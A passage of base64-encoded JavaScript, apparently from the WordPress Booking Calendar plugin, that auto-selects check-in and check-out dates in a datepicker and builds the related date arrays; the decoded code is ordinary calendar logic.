bG9hZGVkXHJcbiAqXHRqUXVlcnkoICdib2R5JyApLm9uKCAnd3BiY19jYWxlbmRhcl9hanhfX2xvYWRlZF9kYXRhJywgZnVuY3Rpb24gKCBldmVudCwgbG9hZGVkX3Jlc291cmNlX2lkICl7XHJcbiAqXHJcbiAqXHRcdGlmICggbG9hZGVkX3Jlc291cmNlX2lkID09IHNlbGVjdF9kYXRlc19pbl9jYWxlbmRhcl9pZCApe1xyXG4gKlx0XHRcdHdwYmNfYXV0b19zZWxlY3RfZGF0ZXNfaW5fY2FsZW5kYXIoIHNlbGVjdF9kYXRlc19pbl9jYWxlbmRhcl9pZCwgJzIwMjQtMDUtMTUnLCAnMjAyNC0wNS0yNScgKTtcclxuICpcdFx0fVxyXG4gKlx0fSApO1xyXG4gKlxyXG4gKi9cclxuXHJcblxyXG4vKipcclxuICogVHJ5IHRvIEF1dG8gc2VsZWN0IGRhdGVzIGluIHNwZWNpZmljIGNhbGVuZGFyIGJ5IHNpbXVsYXRlZCBjbGlja3MgaW4gZGF0ZXBpY2tlclxyXG4gKlxyXG4gKiBAcGFyYW0gcmVzb3VyY2VfaWRcdFx0MVxyXG4gKiBAcGFyYW0gY2hlY2tfaW5feW1kXHRcdCcyMDI0LTA1LTA5J1x0XHRPUiAgXHRbJzIwMjQtMDUtMDknLCcyMDI0LTA1LTE5JywnMjAyNC0wNS0yMCddXHJcbiAqIEBwYXJhbSBjaGVja19vdXRfeW1kXHRcdCcyMDI0LTA1LTE1J1x0XHRPcHRpb25hbFxyXG4gKlxyXG4gKiBAcmV0dXJucyB7bnVtYmVyfVx0XHRudW1iZXIgb2Ygc2VsZWN0ZWQgZGF0ZXNcclxuICpcclxuICogXHRFeGFtcGxlIDE6XHRcdFx0XHR2YXIgbnVtX3NlbGVjdGVkX2RheXMgPSB3cGJjX2F1dG9fc2VsZWN0X2RhdGVzX2luX2NhbGVuZGFyKCAxLCAnMjAyNC0wNS0xNScsICcyMDI0LTA1LTI1JyApO1xyXG4gKiBcdEV4YW1wbGUgMjpcdFx0XHRcdHZhciBudW1fc2VsZWN0ZWRfZGF5cyA9IHdwYmNfYXV0b19zZWxlY3RfZGF0ZXNfaW5fY2FsZW5kYXIoIDEsIFsnMjAyNC0wNS0wOScsJzIwMjQtMDUtMTknLCcyMDI0LTA1LTIwJ10gKTtcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfYXV0b19zZWxlY3RfZGF0ZXNfaW5fY2FsZW5kYXIoIHJlc291cmNlX2lkLCBjaGVja19pbl95bWQsIGNoZWNrX291dF95bWQgPSAnJyApe1x0XHRcdFx0XHRcdFx0XHQvL0ZpeEluOiAxMC4wLjAuNDdcclxuXHJcblx0Y29uc29sZS5sb2coICdXUEJDX0FVVE9fU0VMRUNUX0RBVEVTX0lOX0NBTEVOREFSKCBSRVNPVVJDRV9JRCwgQ0hFQ0tfSU5fWU1ELCBDSEVDS19PVVRfWU1EICknLCByZXNvdXJjZV9pZCwgY2hlY2tfaW5feW1kLCBjaGVja19vdXRfeW1kICk7XHJcblxyXG5cdGlmIChcclxuXHRcdCAgICggJzIxMDAtMDEtMDEnID09IGNoZWNrX2luX3ltZCApXHJcblx0XHR8fCAoICcyMTAwLTAxLTAxJyA9PSBjaGVja19vdXRfeW1kIClcclxuXHRcdHx8ICggKCAnJyA9PSBjaGVja19pbl95bWQgKSAmJiAoICcnID09IGNoZWNrX291dF95bWQgKSApXHJcblx0KXtcclxuXHRcdHJldHVybiAwO1xyXG5cdH1cclxuXHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQvLyBJZiBcdGNoZWNrX2luX3ltZCAgPSAgWyAnMjAyNC0wNS0wOScsJzIwMjQtMDUtMTknLCcyMDI0LTA1LTMwJyBdXHRcdFx0XHRBUlJBWSBvZiBEQVRFU1x0XHRcdFx0XHRcdC8vRml4SW46IDEwLjAuMC41MFxyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0dmFyIGRhdGVzX3RvX3NlbGVjdF9hcnIgPSBbXTtcclxuXHRpZiAoIEFycmF5LmlzQXJyYXkoIGNoZWNrX2luX3ltZCApICl7XHJcblx0XHRkYXRlc190b19zZWxlY3RfYXJyID0gd3BiY19jbG9uZV9vYmooIGNoZWNrX2luX3ltZCApO1xyXG5cclxuXHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdC8vIEV4Y2VwdGlvbnMgdG8gIHNldCAgXHRNVUxUSVBMRSBEQVlTIFx0bW9kZVxyXG5cdFx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0Ly8gaWYgZGF0ZXMgYXMgTk9UIENPTlNFQ1VUSVZFOiBbJzIwMjQtMDUtMDknLCcyMDI0LTA1LTE5JywnMjAyNC0wNS0zMCddLCAtPiBzZXQgTVVMVElQTEUgREFZUyBtb2RlXHJcblx0XHRpZiAoXHJcblx0XHRcdCAgICggZGF0ZXNfdG9fc2VsZWN0X2Fyci5sZW5ndGggPiAwIClcclxuXHRcdFx0JiYgKCAnJyA9PSBjaGVja19vdXRfeW1kIClcclxuXHRcdFx0JiYgKCAhIHdwYmNfZGF0ZXNfX2lzX2NvbnNlY3V0aXZlX2RhdGVzX2Fycl9yYW5nZSggZGF0ZXNfdG9fc2VsZWN0X2FyciApIClcclxuXHRcdCl7XHJcblx0XHRcdHdwYmNfY2FsX2RheXNfc2VsZWN0X19tdWx0aXBsZSggcmVzb3VyY2VfaWQgKTtcclxuXHRcdH1cclxuXHRcdC8vIGlmIG11bHRpcGxlIGRheXMgdG8gc2VsZWN0LCBidXQgZW5hYmxlZCBTSU5HTEUgZGF5IG1vZGUsIC0+IHNldCBNVUxUSVBMRSBEQVlTIG1vZGVcclxuXHRcdGlmIChcclxuXHRcdFx0ICAgKCBkYXRlc190b19zZWxlY3RfYXJyLmxlbmd0aCA+IDEgKVxyXG5cdFx0XHQmJiAoICcnID09IGNoZWNrX291dF95bWQgKVxyXG5cdFx0XHQmJiAoICdzaW5nbGUnID09PSBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2RheXNfc2VsZWN0X21vZGUnICkgKVxyXG5cdFx0KXtcclxuXHRcdFx0d3BiY19jYWxfZGF5c19zZWxlY3RfX211bHRpcGxlKCByZXNvdXJjZV9pZCApO1xyXG5cdFx0fVxyXG5cdFx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0Y2hlY2tfaW5feW1kID0gZGF0ZXNfdG9fc2VsZWN0X2FyclsgMCBdO1xyXG5cdFx0aWYgKCAnJyA9PSBjaGVja19vdXRfeW1kICl7XHJcblx0XHRcdGNoZWNrX291dF95bWQgPSBkYXRlc190b19zZWxlY3RfYXJyWyAoZGF0ZXNfdG9fc2VsZWN0X2Fyci5sZW5ndGgtMSkgXTtcclxuXHRcdH1cclxuXHR9XHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcblxyXG5cdGlmICggJycgPT0gY2hlY2tfaW5feW1kICl7XHJcblx0XHRjaGVja19pbl95bWQgPSBjaGVja19vdXRfeW1kO1xyXG5cdH1cclxuXHRpZiAoICcnID09IGNoZWNrX291dF95bWQgKXtcclxuXHRcdGNoZWNrX291dF95bWQgPSBjaGVja19pbl95bWQ7XHJcblx0fVxyXG5cclxuXHRpZiAoICd1bmRlZmluZWQnID09PSB0eXBlb2YgKHJlc291cmNlX2lkKSApe1xyXG5cdFx0cmVzb3VyY2VfaWQgPSAnMSc7XHJcblx0fVxyXG5cclxuXHJcblx0dmFyIGluc3QgPSB3cGJjX2NhbGVuZGFyX19nZXRfaW5zdCggcmVzb3VyY2VfaWQgKTtcclxuXHJcblx0aWYgKCBudWxsICE9PSBpbnN0ICl7XHJcblxyXG5cdFx0Ly8gVW5zZWxlY3QgYWxsIGRhdGVzIGFuZCBzZXQgIHByb3BlcnRpZXMgb2YgRGF0ZXBpY2tcclxuXHRcdGpRdWVyeSggJyNkYXRlX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS52YWwoICcnICk7ICAgICAgXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vRml4SW46IDUuNC4zXHJcblx0XHRpbnN0LnN0YXlPcGVuID0gZmFsc2U7XHJcblx0XHRpbnN0LmRhdGVzID0gW107XHJcblx0XHR2YXIgY2hlY2tfaW5fanMgPSB3cGJjX19nZXRfX2pzX2RhdGUoIGNoZWNrX2luX3ltZCApO1xyXG5cdFx0dmFyIHRkX2NlbGwgICAgID0gd3BiY19nZXRfY2xpY2tlZF90ZCggaW5zdC5pZCwgY2hlY2tfaW5fanMgKTtcclxuXHJcblx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdC8vICA9PSBEWU5BTUlDID09XHJcblx0XHRpZiAoICdkeW5hbWljJyA9PT0gX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdkYXlzX3NlbGVjdF9tb2RlJyApICl7XHJcblx0XHRcdC8vIDEtc3QgY2xpY2tcclxuXHRcdFx0aW5zdC5zdGF5T3BlbiA9IGZhbHNlO1xyXG5cdFx0XHRqUXVlcnkuZGF0ZXBpY2suX3NlbGVjdERheSggdGRfY2VsbCwgJyMnICsgaW5zdC5pZCwgY2hlY2tfaW5fanMuZ2V0VGltZSgpICk7XHJcblx0XHRcdGlmICggMCA9PT0gaW5zdC5kYXRlcy5sZW5ndGggKXtcclxuXHRcdFx0XHRyZXR1cm4gMDsgIFx0XHRcdFx0XHRcdFx0XHQvLyBGaXJzdCBjbGljayAgd2FzIHVuc3VjY2Vzc2Z1bCwgc28gd2UgbXVzdCBub3QgbWFrZSBvdGhlciBjbGlja1xyXG5cdFx0XHR9XHJcblxyXG5cdFx0XHQvLyAyLW5kIGNsaWNrXHJcblx0XHRcdHZhciBjaGVja19vdXRfanMgPSB3cGJjX19nZXRfX2pzX2RhdGUoIGNoZWNrX291dF95bWQgKTtcclxuXHRcdFx0dmFyIHRkX2NlbGxfb3V0ID0gd3BiY19nZXRfY2xpY2tlZF90ZCggaW5zdC5pZCwgY2hlY2tfb3V0X2pzICk7XHJcblx0XHRcdGluc3Quc3RheU9wZW4gPSB0cnVlO1xyXG5cdFx0XHRqUXVlcnkuZGF0ZXBpY2suX3NlbGVjdERheSggdGRfY2VsbF9vdXQsICcjJyArIGluc3QuaWQsIGNoZWNrX291dF9qcy5nZXRUaW1lKCkgKTtcclxuXHRcdH1cclxuXHJcblx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdC8vICA9PSBGSVhFRCA9PVxyXG5cdFx0aWYgKCAgJ2ZpeGVkJyA9PT0gX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdkYXlzX3NlbGVjdF9tb2RlJyApKSB7XHJcblx0XHRcdGpRdWVyeS5kYXRlcGljay5fc2VsZWN0RGF5KCB0ZF9jZWxsLCAnIycgKyBpbnN0LmlkLCBjaGVja19pbl9qcy5nZXRUaW1lKCkgKTtcclxuXHRcdH1cclxuXHJcblx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdC8vICA9PSBTSU5HTEUgPT1cclxuXHRcdGlmICggJ3NpbmdsZScgPT09IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZGF5c19zZWxlY3RfbW9kZScgKSApe1xyXG5cdFx0XHQvL2pRdWVyeS5kYXRlcGljay5fcmVzdHJpY3RNaW5NYXgoIGluc3QsIGpRdWVyeS5kYXRlcGljay5fZGV0ZXJtaW5lRGF0ZSggaW5zdCwgY2hlY2tfaW5fanMsIG51bGwgKSApO1x0XHQvLyBEbyB3ZSBuZWVkIHRvIHJ1biAgdGhpcyA/IFBsZWFzZSBub3RlLCBjaGVja19pbl9qcyBtdXN0ICBoYXZlIHRpbWUsICBtaW4sIHNlYyBkZWZpbmVkIHRvIDAhXHJcblx0XHRcdGpRdWVyeS5kYXRlcGljay5fc2VsZWN0RGF5KCB0ZF9jZWxsLCAnIycgKyBpbnN0LmlkLCBjaGVja19pbl9qcy5nZXRUaW1lKCkgKTtcclxuXHRcdH1cclxuXHJcblx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdC8vICA9PSBNVUxUSVBMRSA9PVxyXG5cdFx0aWYgKCAnbXVsdGlwbGUnID09PSBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2RheXNfc2VsZWN0X21vZGUnICkgKXtcclxuXHJcblx0XHRcdHZhciBkYXRlc19hcnI7XHJcblxyXG5cdFx0XHRpZiAoIGRhdGVzX3RvX3NlbGVjdF9hcnIubGVuZ3RoID4gMCApe1xyXG5cdFx0XHRcdC8vIFNpdHVhdGlvbiwgd2hlbiB3ZSBoYXZlIGRhdGVzIGFycmF5OiBbJzIwMjQtMDUtMDknLCcyMDI0LTA1LTE5JywnMjAyNC0wNS0zMCddLiAgYW5kIG5vdCB0aGUgQ2hlY2sgSW4gLyBDaGVjayAgb3V0IGRhdGVzIGFzIHBhcmFtZXRlciBpbiB0aGlzIGZ1bmN0aW9uXHJcblx0XHRcdFx0ZGF0ZXNfYXJyID0gd3BiY19nZXRfc2VsZWN0aW9uX2RhdGVzX2pzX3N0cl9hcnJfX2Zyb21fYXJyKCBkYXRlc190b19zZWxlY3RfYXJyICk7XHJcblx0XHRcdH0gZWxzZSB7XHJcblx0XHRcdFx0ZGF0ZXNfYXJyID0gd3BiY19nZXRfc2VsZWN0aW9uX2RhdGVzX2pzX3N0cl9hcnJfX2Zyb21fY2hlY2tfaW5fb3V0KCBjaGVja19pbl95bWQsIGNoZWNrX291dF95bWQsIGluc3QgKTtcclxuXHRcdFx0fVxyXG5cclxuXHRcdFx0aWYgKCAwID09PSBkYXRlc19hcnIuZGF0ZXNfanMubGVuZ3RoICl7XHJcblx0XHRcdFx0cmV0dXJuIDA7XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdC8vIEZvciBDYWxlbmRhciBEYXlzIHNlbGVjdGlvblxyXG5cdFx0XHRmb3IgKCB2YXIgaiA9IDA7IGogPCBkYXRlc19hcnIuZGF0ZXNfanMubGVuZ3RoOyBqKysgKXsgICAgICAgLy8gTG9vcCBhcnJheSBvZiBkYXRlc1xyXG5cclxuXHRcdFx0XHR2YXIgc3RyX2RhdGUgPSB3cGJjX19nZXRfX3NxbF9jbGFzc19kYXRlKCBkYXRlc19hcnIuZGF0ZXNfanNbIGogXSApO1xyXG5cclxuXHRcdFx0XHQvLyBEYXRlIHVuYXZhaWxhYmxlICFcclxuXHRcdFx0XHRpZiAoIDAgPT0gX3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSggcmVzb3VyY2VfaWQsIHN0cl9kYXRlICkuZGF5X2F2YWlsYWJpbGl0eSApe1xyXG5cdFx0XHRcdFx0cmV0dXJuIDA7XHJcblx0XHRcdFx0fVxyXG5cclxuXHRcdFx0XHRpZiAoIGRhdGVzX2Fyci5kYXRlc19qc1sgaiBdICE9IC0xICkge1xyXG5cdFx0XHRcdFx0aW5zdC5kYXRlcy5wdXNoKCBkYXRlc19hcnIuZGF0ZXNfanNbIGogXSApO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cclxuXHRcdFx0dmFyIGNoZWNrX291dF9kYXRlID0gZGF0ZXNfYXJyLmRhdGVzX2pzWyAoZGF0ZXNfYXJyLmRhdGVzX2pzLmxlbmd0aCAtIDEpIF07XHJcblxyXG5cdFx0XHRpbnN0LmRhdGVzLnB1c2goIGNoZWNrX291dF9kYXRlICk7IFx0XHRcdC8vIE5lZWQgYWRkIG9uZSBhZGRpdGlvbmFsIFNBTUUgZGF0ZSBmb3IgY29ycmVjdCAgd29ya3Mgb2YgZGF0ZXMgc2VsZWN0aW9uICEhISEhXHJcblxyXG5cdFx0XHR2YXIgY2hlY2tvdXRfdGltZXN0YW1wID0gY2hlY2tfb3V0X2RhdGUuZ2V0VGltZSgpO1xyXG5cdFx0XHR2YXIgdGRfY2VsbCA9IHdwYmNfZ2V0X2NsaWNrZWRfdGQoIGluc3QuaWQsIGNoZWNrX291dF9kYXRlICk7XHJcblxyXG5cdFx0XHRqUXVlcnkuZGF0ZXBpY2suX3NlbGVjdERheSggdGRfY2VsbCwgJyMnICsgaW5zdC5pZCwgY2hlY2tvdXRfdGltZXN0YW1wICk7XHJcblx0XHR9XHJcblxyXG5cclxuXHRcdGlmICggMCAhPT0gaW5zdC5kYXRlcy5sZW5ndGggKXtcclxuXHRcdFx0Ly8gU2Nyb2xsIHRvIHNwZWNpZmljIG1vbnRoLCBpZiB3ZSBzZXQgZGF0ZXMgaW4gc29tZSBmdXR1cmUgbW9udGhzXHJcblx0XHRcdHdwYmNfY2FsZW5kYXJfX3Njcm9sbF90byggcmVzb3VyY2VfaWQsIGluc3QuZGF0ZXNbIDAgXS5nZXRGdWxsWWVhcigpLCBpbnN0LmRhdGVzWyAwIF0uZ2V0TW9udGgoKSsxICk7XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIGluc3QuZGF0ZXMubGVuZ3RoO1xyXG5cdH1cclxuXHJcblx0cmV0dXJuIDA7XHJcbn1cclxuXHJcblx0LyoqXHJcblx0ICogR2V0IEhUTUwgdGQgZWxlbWVudCAod2hlcmUgd2FzIGNsaWNrIGluIGNhbGVuZGFyICBkYXkgIGNlbGwpXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gY2FsZW5kYXJfaHRtbF9pZFx0XHRcdCdjYWxlbmRhcl9ib29raW5nMSdcclxuXHQgKiBAcGFyYW0gZGF0ZV9qc1x0XHRcdFx0XHRKUyBEYXRlXHJcblx0ICogQHJldHVybnMgeyp8alF1ZXJ5fVx0XHRcdFx0RG9tIEhUTUwgdGQgZWxlbWVudFxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfZ2V0X2NsaWNrZWRfdGQoIGNhbGVuZGFyX2h0bWxfaWQsIGRhdGVfanMgKXtcclxuXHJcblx0ICAgIHZhciB0ZF9jZWxsID0galF1ZXJ5KCAnIycgKyBjYWxlbmRhcl9odG1sX2lkICsgJyAuc3FsX2RhdGVfJyArIHdwYmNfX2dldF9fc3FsX2NsYXNzX2RhdGUoIGRhdGVfanMgKSApLmdldCggMCApO1xyXG5cclxuXHRcdHJldHVybiB0ZF9jZWxsO1xyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogR2V0IGFycmF5cyBvZiBKUyBhbmQgU1FMIGRhdGVzIGFzIGRhdGVzIGFycmF5XHJcblx0ICpcclxuXHQgKiBAcGFyYW0gY2hlY2tfaW5feW1kXHRcdFx0XHRcdFx0XHQnMjAyNC0wNS0xNSdcclxuXHQgKiBAcGFyYW0gY2hlY2tfb3V0X3ltZFx0XHRcdFx0XHRcdFx0JzIwMjQtMDUtMjUnXHJcblx0ICogQHBhcmFtIGluc3RcdFx0XHRcdFx0XHRcdFx0XHREYXRlcGljayBJbnN0LiBVc2Ugd3BiY19jYWxlbmRhcl9fZ2V0X2luc3QoIHJlc291cmNlX2lkICk7XHJcblx0ICogQHJldHVybnMge3tkYXRlc19qczogKltdLCBkYXRlc19zdHI6ICpbXX19XHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19nZXRfc2VsZWN0aW9uX2RhdGVzX2pzX3N0cl9hcnJfX2Zyb21fY2hlY2tfaW5fb3V0KCBjaGVja19pbl95bWQsIGNoZWNrX291dF95bWQgLCBpbnN0ICl7XHJcblxyXG5cdFx0dmFyIG9yaWdpbmFsX2FycmF5ID0gW107XHJcblx0XHR2YXIgZGF0ZTtcclxuXHRcdHZhciBia19kaXN0aW5jdF9kYXRlcyA9IFtdO1xyXG5cclxuXHRcdHZhciBjaGVja19pbl9kYXRlID0gY2hlY2tfaW5feW1kLnNwbGl0KCAnLScgKTtcclxuXHRcdHZhciBjaGVja19vdXRfZGF0ZSA9IGNoZWNrX291dF95bWQuc3BsaXQoICctJyApO1xyXG5cclxuXHRcdGRhdGUgPSBuZXcgRGF0ZSgpO1xyXG5cdFx0ZGF0ZS5zZXRGdWxsWWVhciggY2hlY2tfaW5fZGF0ZVsgMCBdLCAoY2hlY2tfaW5fZGF0ZVsgMSBdIC0gMSksIGNoZWNrX2luX2RhdGVbIDIgXSApOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHllYXIsIG1vbnRoLCBkYXRlXHJcblx0XHR2YXIgb3JpZ2luYWxfY2hlY2tfaW5fZGF0ZSA9IGRhdGU7XHJcblx0XHRvcmlnaW5hbF9hcnJheS5wdXNoKCBqUXVlcnkuZGF0ZXBpY2suX3Jlc3RyaWN0TWluTWF4KCBpbnN0LCBqUXVlcnkuZGF0ZXBpY2suX2RldGVybWluZURhdGUoIGluc3QsIGRhdGUsIG51bGwgKSApICk7IC8vYWRkIGRhdGVcclxuXHRcdGlmICggISB3cGJjX2luX2FycmF5KCBia19kaXN0aW5jdF9kYXRlcywgKGNoZWNrX2luX2RhdGVbIDIgXSArICcuJyArIGNoZWNrX2luX2RhdGVbIDEgXSArICcuJyArIGNoZWNrX2luX2RhdGVbIDAgXSkgKSApe1xyXG5cdFx0XHRia19kaXN0aW5jdF9kYXRlcy5wdXNoKCBwYXJzZUludChjaGVja19pbl9kYXRlWyAyIF0pICsgJy4nICsgcGFyc2VJbnQoY2hlY2tfaW5fZGF0ZVsgMSBdKSArICcuJyArIGNoZWNrX2luX2RhdGVbIDAgXSApO1xyXG5cdFx0fVxyXG5cclxuXHRcdHZhciBkYXRlX291dCA9IG5ldyBEYXRlKCk7XHJcblx0XHRkYXRlX291dC5zZXRGdWxsWWVhciggY2hlY2tfb3V0X2RhdGVbIDAgXSwgKGNoZWNrX291dF9kYXRlWyAxIF0gLSAxKSwgY2hlY2tfb3V0X2RhdGVbIDIgXSApOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHllYXIsIG1vbnRoLCBkYXRlXHJcblx0XHR2YXIgb3JpZ2luYWxfY2hlY2tfb3V0X2RhdGUgPSBkYXRlX291dDtcclxuXHJcblx0XHR2YXIgbWV3RGF0ZSA9IG5ldyBEYXRlKCBvcmlnaW5hbF9jaGVja19pbl9kYXRlLmdldEZ1bGxZZWFyKCksIG9yaWdpbmFsX2NoZWNrX2luX2RhdGUuZ2V0TW9udGgoKSwgb3JpZ2luYWxfY2hlY2tfaW5fZGF0ZS5nZXREYXRlKCkgKTtcclxuXHRcdG1ld0RhdGUuc2V0RGF0ZSggb3JpZ2luYWxfY2hlY2tfaW5fZGF0ZS5nZXREYXRlKCkgKyAxICk7XHJcblxyXG5cdFx0d2hpbGUgKFxyXG5cdFx0XHQob3JpZ2luYWxfY2hlY2tfb3V0X2RhdGUgPiBkYXRlKSAmJlxyXG5cdFx0XHQob3JpZ2luYWxfY2hlY2tfaW5fZGF0ZSAhPSBvcmlnaW5hbF9jaGVja19vdXRfZGF0ZSkgKXtcclxuXHRcdFx0ZGF0ZSA9IG5ldyBEYXRlKCBtZXdEYXRlLmdldEZ1bGxZZWFyKCksIG1ld0RhdGUuZ2V0TW9udGgoKSwgbWV3RGF0ZS5nZXREYXRlKCkgKTtcclxuXHJcblx0XHRcdG9yaWdpbmFsX2FycmF5LnB1c2goIGpRdWVyeS5kYXRlcGljay5fcmVzdHJpY3RNaW5NYXgoIGluc3QsIGpRdWVyeS5kYXRlcGljay5fZGV0ZXJtaW5lRGF0ZSggaW5zdCwgZGF0ZSwgbnVsbCApICkgKTsgLy9hZGQgZGF0ZVxyXG5cdFx0XHRpZiAoICF3cGJjX2luX2FycmF5KCBia19kaXN0aW5jdF9kYXRlcywgKGRhdGUuZ2V0RGF0ZSgpICsgJy4nICsgcGFyc2VJbnQoIGRhdGUuZ2V0TW9udGgoKSArIDEgKSArICcuJyArIGRhdGUuZ2V0RnVsbFllYXIoKSkgKSApe1xyXG5cdFx0XHRcdGJrX2Rpc3RpbmN0X2RhdGVzLnB1c2goIChwYXJzZUludChkYXRlLmdldERhdGUoKSkgKyAnLicgKyBwYXJzZUludCggZGF0ZS5nZXRNb250aCgpICsgMSApICsgJy4nICsgZGF0ZS5nZXRGdWxsWWVhcigpKSApO1xyXG5cdFx0XHR9XHJcblxyXG5cdFx0XHRtZXdEYXRlID0gbmV3IERhdGUoIGRhdGUuZ2V0RnVsbFllYXIoKSwgZGF0ZS5nZXRNb250aCgpLCBkYXRlLmdldERhdGUoKSApO1xyXG5cdFx0XHRtZXdEYXRlLnNldERhdGUoIG1ld0RhdGUuZ2V0RGF0ZSgpICsgMSApO1xyXG5cdFx0fVxyXG5cdFx0b3JpZ2luYWxfYXJyYXkucG9wKCk7XHJcblx0XHRia19kaXN0aW5jdF9kYXRlcy5wb3AoKTtcclxuXHJcblx0XHRyZXR1cm4geydkYXRlc19qcyc6IG9yaWdpbmFsX2FycmF5LCAnZGF0ZXNfc3RyJzogYmtfZGlzdGluY3RfZGF0ZXN9O1xyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogR2V0IGFycmF5cyBvZiBKUyBhbmQgU1FMIGRhdGVzIGFzIGRhdGVzIGFycmF5XHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZGF0ZXNfdG9fc2VsZWN0X2Fyclx0PSBbJzIwMjQtMDUtMDknLCcyMDI0LTA1LTE5JywnMjAyNC0wNS0zMCddXHJcblx0ICpcclxuXHQgKiBAcmV0dXJucyB7e2RhdGVzX2pzOiAqW10sIGRhdGVzX3N0cjogKltdfX1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2dldF9zZWxlY3Rpb25fZGF0ZXNfanNfc3RyX2Fycl9fZnJvbV9hcnIoIGRhdGVzX3RvX3NlbGVjdF9hcnIgKXtcdFx0XHRcdFx0XHRcdFx0XHRcdC8vRml4SW46IDEwLjAuMC41MFxyXG5cclxuXHRcdHZhciBvcmlnaW5hbF9hcnJheSAgICA9IFtdO1xyXG5cdFx0dmFyIGJrX2Rpc3RpbmN0X2RhdGVzID0gW107XHJcblx0XHR2YXIgb25lX2RhdGVfc3RyO1xyXG5cclxuXHRcdGZvciAoIHZhciBkID0gMDsgZCA8IGRhdGVzX3RvX3NlbGVjdF9hcnIubGVuZ3RoOyBkKysgKXtcclxuXHJcblx0XHRcdG9yaWdpbmFsX2FycmF5LnB1c2goIHdwYmNfX2dldF9fanNfZGF0ZSggZGF0ZXNfdG9fc2VsZWN0X2FyclsgZCBdICkgKTtcclxuXHJcblx0XHRcdG9uZV9kYXRlX3N0ciA9IGRhdGVzX3RvX3NlbGVjdF9hcnJbIGQgXS5zcGxpdCgnLScpXHJcblx0XHRcdGlmICggISB3cGJjX2luX2FycmF5KCBia19kaXN0aW5jdF9kYXRlcywgKG9uZV9kYXRlX3N0clsgMiBdICsgJy4nICsgb25lX2RhdGVfc3RyWyAxIF0gKyAnLicgKyBvbmVfZGF0ZV9zdHJbIDAgXSkgKSApe1xyXG5cdFx0XHRcdGJrX2Rpc3RpbmN0X2RhdGVzLn